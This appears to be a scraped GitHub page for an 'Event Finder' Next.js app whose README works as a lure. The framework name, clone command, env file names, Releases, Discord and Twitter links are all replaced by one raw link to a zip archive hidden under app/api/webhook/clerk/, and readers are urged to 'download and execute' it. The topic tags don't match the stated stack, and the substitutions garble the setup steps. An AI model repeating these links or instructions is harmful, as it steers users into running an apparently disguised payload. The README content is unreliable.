https://github.com/anas-ouchkouk/event-finder
## Event-FinderEvent-Finder helps you discover local events effortlessly. Built with React, TypeScript, and Next.js, it offers a smooth user experience. 🌟👨💻
https://github.com/anas-ouchkouk/event-finder
cloudant hackathon hackthisfall mapbox mern nextjs13 prisma sxsw t3-stack trpc watson-conversation
Last synced: about 2 months ago
JSON representation
## Event-FinderEvent-Finder helps you discover local events effortlessly. Built with React, TypeScript, and Next.js, it offers a smooth user experience. 🌟👨💻
- Host: GitHub
- URL: https://github.com/anas-ouchkouk/event-finder
- Owner: anas-ouchkouk
- Created: 2025-06-01T10:07:57.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-06-23T00:05:13.000Z (about 1 year ago)
- Last Synced: 2025-06-23T01:19:30.975Z (about 1 year ago)
- Topics: cloudant, hackathon, hackthisfall, mapbox, mern, nextjs13, prisma, sxsw, t3-stack, trpc, watson-conversation
- Language: TypeScript
- Size: 2.58 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🎉 Event Finder - Your Ultimate Event Discovery App 🌟
Welcome to the **Event Finder** repository! This full-stack application built with **https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip 14**, **TypeScript**, **Stripe**, and **TailwindCSS** helps users discover and manage events effortlessly. Dive into the details below to learn how to set it up and contribute!
## 🚀 Table of Contents
- [Features](#features)
- [Tech Stack](#tech-stack)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Links](#links)
## 🌟 Features
- **User Authentication**: Secure login and registration using Clerk.
- **Event Management**: Create, edit, and delete events with ease.
- **Payment Integration**: Seamless payment processing through Stripe.
- **Responsive Design**: Built with TailwindCSS for a clean and modern UI.
- **Date Picker**: Easy date selection with `react-datepicker`.
- **Form Handling**: Efficient form management using `react-hook-form`.
- **Validation**: Robust data validation with Zod.
- **Custom UI Components**: Leverage `shadcn-ui` for consistent styling.
## 🛠️ Tech Stack
This project utilizes the following technologies:
- **https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip**: A React framework for server-side rendering and static site generation.
- **TypeScript**: A superset of JavaScript that adds static types.
- **Stripe**: Payment processing service for handling transactions.
- **TailwindCSS**: A utility-first CSS framework for rapid UI development.
- **Clerk**: Authentication and user management.
- **MongoDB**: NoSQL database for data storage.
- **React**: JavaScript library for building user interfaces.
- **React Datepicker**: A simple and reusable datepicker component.
- **React Hook Form**: A library for managing form state and validation.
- **Shadcn UI**: A collection of UI components for React.
- **Zod**: A TypeScript-first schema declaration and validation library.
## 💻 Installation
To set up the **Event Finder** application on your local machine, follow these steps:
1. **Clone the repository**:
```bash
git clone https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip
```
2. **Navigate to the project directory**:
```bash
cd Event-Finder
```
3. **Install dependencies**:
```bash
npm install
```
4. **Set up environment variables**: Create a `https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip` file in the root directory and add the required variables. You can refer to the `https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip` file for guidance.
5. **Run the application**:
```bash
npm run dev
```
Now, your application should be running on `http://localhost:3000`.
## 📦 Usage
Once you have the application running, you can explore its features:
- **User Registration**: Sign up to create an account.
- **Login**: Access your account with your credentials.
- **Create Events**: Use the form to add new events.
- **Edit/Delete Events**: Manage your events from your dashboard.
- **Payment Processing**: Test payments using Stripe's test keys.
For the latest releases and updates, visit our [Releases](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip) section. Make sure to download and execute the latest version to enjoy all the new features!
## 🤝 Contributing
We welcome contributions to enhance the **Event Finder** application. If you would like to contribute, please follow these steps:
1. **Fork the repository**.
2. **Create a new branch**:
```bash
git checkout -b feature/YourFeatureName
```
3. **Make your changes** and commit them:
```bash
git commit -m "Add your message"
```
4. **Push to the branch**:
```bash
git push origin feature/YourFeatureName
```
5. **Create a pull request** to merge your changes.
Please ensure your code follows our coding standards and passes all tests.
## 📄 License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## 🔗 Links
For more information and updates, check out our [Releases](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip) page. You can find the latest downloads and instructions for running the application.
## 🖼️ Screenshots
Here are some screenshots of the application:
### Home Page
### Event Creation
### User Dashboard
## 🛠️ Future Improvements
We plan to implement several features in future updates, including:
- **Improved Search Functionality**: Allow users to filter events based on categories and dates.
- **Notifications**: Send reminders for upcoming events.
- **Social Sharing**: Enable users to share events on social media platforms.
- **Analytics Dashboard**: Provide insights on user engagement and event attendance.
## 💬 Community
Join our community for discussions, support, and feedback. You can find us on:
- **Discord**: [Join our server](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip)
- **Twitter**: [Follow us](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip)
We appreciate your interest in **Event Finder**! Happy coding!